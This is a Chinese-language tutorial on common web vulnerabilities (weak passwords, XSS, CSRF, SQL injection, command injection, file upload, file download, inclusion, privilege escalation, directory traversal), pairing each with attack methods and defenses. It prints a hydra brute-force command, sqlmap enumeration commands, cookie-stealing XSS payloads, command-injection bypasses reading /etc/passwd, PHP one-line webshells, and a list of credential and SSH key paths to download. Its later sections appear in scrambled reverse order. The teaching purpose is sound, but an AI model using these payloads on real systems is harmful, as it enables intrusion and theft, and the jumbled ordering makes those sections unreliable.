常见web安全漏洞介绍

邢凌
2023-12-01

引言

介绍常见web漏洞,参考OWASP top10漏洞,pikachu靶场

1、弱口令漏洞

1.1 原理介绍

只要口令能被猜测到或者出现在弱口令字典中,都算做弱口令。

1.2漏洞识别

如果是web登陆,可以查看登陆处有无验证码,传输密码或用户名有无加密,密码输入错误多次后有无进行账号锁定。

1.3攻击方式:

一般使用弱口令字典进行爆破,web下使用burpsuite中intruder模块,其他组件如mysql可使用hydra,如 hydra -l admin -P pswtop100.txt mysql://xx.x.x.x -s 3306 -o xx.txt

如果对特定ID进行爆破,可以依据社会工程学基于已知信息生成特定的弱口令字典。如已知信息为某人叫刘能,出生于1997年11月12日,则可以生成如‘liuneng1997’、‘ln971112’、‘liuneng1112’等弱口令。github中有基于python2的社工弱口令字典生成工具,详见https://github.com/WangYihang/ccupp

如果前端对密码进行了加密,可使用burp插件jsEncrypter将弱口令字典同步加密,详见实践篇|使用jsEncrypter进行前端加密弱口令爆破 - 知乎

如果设置了验证码,可检查后端是否真正验证,验证码是否变化,如果是动态变化的图形验证码,可使用burp插件captcha-killer尝试识别。

1.4漏洞防御

1、设置验证码。 2、密码错误进行分阶段账号锁定。 3、设置密码时进行复杂度检查 4、对用户名密码进行加密

2、XSS(Cross Site Scripting)

2.1原理介绍

XSS跨站脚本攻击漏洞是指攻击者向web中注入恶意script代码,当用户浏览时恶意代码被执行。

按照是否经过后端处理,是否存储可以分为反射型XSS、存储型XSS、DOM型XSS。反射型XSS是临时性的,指注入的代码不在后端存储,但会在服务器端进行处理然后进行回显;存储型XSS会将恶意代码存储在数据库中;DOM型X SS利用的是html dom,不经过后端,只在浏览器处理,也是临时性的。

2.2漏洞识别

存在输入框,且输入框未进行特殊字符过滤

2.3 攻击方式

在系统中寻找存在输入框的地方,如新建信息,留言框等,查看对输入内容的回显,输入payload测试,如<script>alert(document.cookie)</script>、'><img src="#" on error="alert('xss')"

如果有过滤,可通过<a herf="#" οnclick="alert(document.cookie)">等绕过script过滤,可通过javascript:alert(document.cookie)等绕过但双引号过滤。

附XSS payload大全:https://github.com/payloadbox/xss-payload-list

2.4防御方式

1、对输入内容进行转义or过滤。 2、对输出内容进行转义or编码 3、设置cookie为httponly,使客户端无法通过脚本获得cookie

3、CSRF(cross site request forgery)

3.1原理介绍

CSRF是指跨站请求伪造。CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

3.2 攻击方式

一般通过CSRF钓鱼,攻击流程为

1)受害者登陆某系统A获取cookie

2)攻击者引诱受害者访问B

3)B向A发出请求

4)A系统认为请求来自受害者,执行请求

攻击完成

3.3防御方式

1、业务更新接口使用POST 2、增加token,避免使用单一cookie验证身份。3、设置cookie为httponly

4、sql注入

4.1 原理介绍

前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

4.2漏洞识别

寻找搜索输入框,在输入参数后加‘查看是否报错;尝试简单payload 1 or1=1#

使用sqlmap扫描,sqlmap -u url --dbs 列出数据库名,sqlmap -u url -D 库名 --tables 列出表名,sqlmap -u url -D table_name -T 表名 -- columns 列出列名

4.3漏洞防御

1、sql语句预编译,不同语言or框架对应有不同的预编译方法。2、使用安全函数,如ESAPI.encoder().encodeForSQL(codec, name)

5、命令注入

5.1 原理介绍

web端进行了需要调用系统命令执行的操作,攻击者通过输入Payload使得被攻击系统将恶意代码/命令拼接至已有的命令/代码中进行执行

5.2 攻击方式

1、利用管道符进行拼接

Windows系统支持的管道符

  • “|”:直接执行后面的语句,如 ping 127.0.0.1|whoami ,只执行whoami程序。

  • “||”:如果前面语句执行错误,则执行后面的语句,前面的语句只能为假。如 ping 2 || whoami 。

  • “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如 ping 127.0.0.1&whoami 。

  • “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。如 ping 127.0.0.1&&whoami 。

Linux系统支持的管道符

  • “;”:执行完前面的语句再执行后面的。如 ping 127.0.0.1;whoami 。

  • “|”:显示后面语句的执行结果。如 ping 127.0.0.1|whoami 。

  • “||”:当前面的语句执行错误时,执行后面的语句,如 ping 127.0.0.1||whoami 。

  • “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如ping 127.0.0.1&whoami 。

  • “&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如ping 127.0.0.1&&whoami 。

“;” 依次执行命令

2、一些bypass技巧

1)关键字拼接

a=ca;b=t;$a$b /etc/passwd

2)寻找替代命令 如tac

3)编解码

HEX编码解码base64编解码

4)空格绕过 5)通配符 6)DNS外带 7)利用已有环境变量 

5.3 防御方式

1、避免使用危险函数。如php中的system、exec等,python中的system、popen等,java中的java.lang.Runtime.getRuntime().exec等

2、裁剪系统的busybox组件,使得可以执行的系统命令做到最少

3、避免使用root权限启动系统

4、对前端输入进行过滤

6、文件上传漏洞

6.1 漏洞原理

在上传头像、附件时,如果对上传的内容没有进行校验,如果服务器的web容器执行了上传内容,或上传的钓鱼内容能被访问,则属于中高危漏洞。

6.2攻击方式

1、上传木马文件

木马生成工具https://github.com/NyDubh3/CuiRi

一些一句话木马:

<?php @eval($_POST['shell']);?>
​
<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>
​
<?php assert(@$_POST['a']); ?>
/root/.ssh/authorized_keys
​
/root/.ssh/id_rsa
​
/root/.ssh/id_ras.keystore
​
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
​
/etc/passwd
​
/etc/shadow
​
/etc/my.cnf //mysql配置文件
​
/etc/httpd/conf/httpd.conf //apache配置文件
​
/root/.bash_history //用户历史命令记录文件
​
/root/.mysql_history //mysql历史命令记录文件
​
/proc/mounts //记录系统挂载设备
​
/porc/config.gz //内核配置文件
​
/var/lib/mlocate/mlocate.db //全文件路径
​
/porc/self/cmdline //当前进程的cmdline参数

1、过滤../,%2e%2e%2f(编码后) 2、对用户的请求资源设置白名单

10.2防御

如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。如http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd

10.1漏洞原理

10、目录遍历

1、关键操作前验证用户身份,通过token或cookie。2、在cookie中加入不可猜解的信息

9.3防御

3、寻找隐藏的文件路径或特殊接口

2、寻找未进行身份验证的结构

1、更改抓包信息,将id改为他人id

9.2攻击方式

由于后台使用了不合适的权限校验规则,使得用户得到了平级用户或者更高权限用户的权限。

9.1漏洞原理

9、越权

2、如果不得不传入,采取白名单策略

1、在设计上不要让前端用户直接传变量给包含函数

防御方法:

语言中一般存在内置的文件包含函数,比如C语言的#include,php的include。如果被包含的东西可以由前端传过去,就可以构造恶意文件造成破坏。

8、文件包含漏洞

1、对输入参数进行过滤。2、限制可以访问的文件范围

7.3 防御

3、尝试下载敏感文件

2、测试../../../../../../etc/passwd、../index.php等

1、可以在Google搜索inurl:"readfile.php?file="查看有漏洞的网站,或者寻找目标系统的保存、下载功能

7.2攻击方式

如果下载的文件在检查元素or抓包orurl中可以看到,并且系统没有对用户下载文件做限制,则可以修改下载文件的路径和名称造成任意文件下载漏洞

7.1漏洞原理

7、任意文件下载漏洞

4)更改头部的contentType

3)将php语句写入jpg echo '<?php phpinfo(); ?>' >> pic.jpg

2)将php语句前面加上gif标识头 GIF89<?php phpinfo();?>

1)前端的文件过滤可以通过禁用防御函数来绕过

2、一些绕过技巧

 类似资料: